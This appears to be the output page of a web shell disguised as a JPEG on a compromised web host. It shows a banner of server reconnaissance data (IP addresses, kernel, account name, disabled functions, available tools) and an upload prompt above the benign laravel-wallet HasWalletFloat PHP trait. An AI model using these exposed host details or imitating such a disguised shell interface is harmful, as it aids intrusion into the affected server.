����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 18.218.83.143 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/./cbt.bofirm.com/vendor/bavix/laravel-wallet/src/Traits/ |
Upload File : |
<?php namespace Bavix\Wallet\Traits; use Bavix\Wallet\Exceptions\AmountInvalid; use Bavix\Wallet\Exceptions\BalanceIsEmpty; use Bavix\Wallet\Exceptions\InsufficientFunds; use Bavix\Wallet\Interfaces\Mathable; use Bavix\Wallet\Interfaces\Wallet; use Bavix\Wallet\Models\Transaction; use Bavix\Wallet\Models\Transfer; use Bavix\Wallet\Services\WalletService; use Throwable; /** * Trait HasWalletFloat. * * * @property-read float $balanceFloat */ trait HasWalletFloat { use HasWallet; /** * @param float|string $amount * @param array|null $meta * @param bool $confirmed * * @return Transaction * * @throws AmountInvalid * @throws Throwable */ public function forceWithdrawFloat($amount, ?array $meta = null, bool $confirmed = true): Transaction { /** @var Wallet $this */ $math = app(Mathable::class); $decimalPlacesValue = app(WalletService::class)->decimalPlacesValue($this); $decimalPlaces = app(WalletService::class)->decimalPlaces($this); $result = $math->round($math->mul($amount, $decimalPlaces, $decimalPlacesValue)); return $this->forceWithdraw($result, $meta, $confirmed); } /** * @param float|string $amount * @param array|null $meta * @param bool $confirmed * * @return Transaction * * @throws AmountInvalid * @throws Throwable */ public function depositFloat($amount, ?array $meta = null, bool $confirmed = true): Transaction { /** @var Wallet $this */ $math = app(Mathable::class); $decimalPlacesValue = app(WalletService::class)->decimalPlacesValue($this); $decimalPlaces = app(WalletService::class)->decimalPlaces($this); $result = $math->round($math->mul($amount, $decimalPlaces, $decimalPlacesValue)); return $this->deposit($result, $meta, $confirmed); } /** * @param float|string $amount * @param array|null $meta * @param bool $confirmed * * @return Transaction * * @throws AmountInvalid * @throws BalanceIsEmpty * @throws InsufficientFunds * @throws Throwable */ public function withdrawFloat($amount, ?array $meta = null, bool $confirmed = true): Transaction { /** @var Wallet $this */ $math = app(Mathable::class); $decimalPlacesValue = app(WalletService::class)->decimalPlacesValue($this); $decimalPlaces = app(WalletService::class)->decimalPlaces($this); $result = $math->round($math->mul($amount, $decimalPlaces, $decimalPlacesValue)); return $this->withdraw($result, $meta, $confirmed); } /** * @param float|string $amount * * @return bool */ public function canWithdrawFloat($amount): bool { /** @var Wallet $this */ $math = app(Mathable::class); $decimalPlacesValue = app(WalletService::class)->decimalPlacesValue($this); $decimalPlaces = app(WalletService::class)->decimalPlaces($this); $result = $math->round($math->mul($amount, $decimalPlaces, $decimalPlacesValue)); return $this->canWithdraw($result); } /** * @param Wallet $wallet * @param float $amount * @param array|null $meta * * @return Transfer * * @throws AmountInvalid * @throws BalanceIsEmpty * @throws InsufficientFunds * @throws Throwable */ public function transferFloat(Wallet $wallet, $amount, ?array $meta = null): Transfer { /** @var Wallet $this */ $math = app(Mathable::class); $decimalPlacesValue = app(WalletService::class)->decimalPlacesValue($this); $decimalPlaces = app(WalletService::class)->decimalPlaces($this); $result = $math->round($math->mul($amount, $decimalPlaces, $decimalPlacesValue)); return $this->transfer($wallet, $result, $meta); } /** * @param Wallet $wallet * @param float $amount * @param array|null $meta * * @return Transfer|null */ public function safeTransferFloat(Wallet $wallet, $amount, ?array $meta = null): ?Transfer { /** @var Wallet $this */ $math = app(Mathable::class); $decimalPlacesValue = app(WalletService::class)->decimalPlacesValue($this); $decimalPlaces = app(WalletService::class)->decimalPlaces($this); $result = $math->round($math->mul($amount, $decimalPlaces, $decimalPlacesValue)); return $this->safeTransfer($wallet, $result, $meta); } /** * @param Wallet $wallet * @param float|string $amount * @param array|null $meta * * @return Transfer * * @throws AmountInvalid * @throws Throwable */ public function forceTransferFloat(Wallet $wallet, $amount, ?array $meta = null): Transfer { /** @var Wallet $this */ $math = app(Mathable::class); $decimalPlacesValue = app(WalletService::class)->decimalPlacesValue($this); $decimalPlaces = app(WalletService::class)->decimalPlaces($this); $result = $math->round($math->mul($amount, $decimalPlaces, $decimalPlacesValue)); return $this->forceTransfer($wallet, $result, $meta); } /** * @return int|float|string */ public function getBalanceFloatAttribute() { /** @var Wallet $this */ $math = app(Mathable::class); $decimalPlacesValue = app(WalletService::class)->decimalPlacesValue($this); $decimalPlaces = app(WalletService::class)->decimalPlaces($this); return $math->div($this->balance, $decimalPlaces, $decimalPlacesValue); } }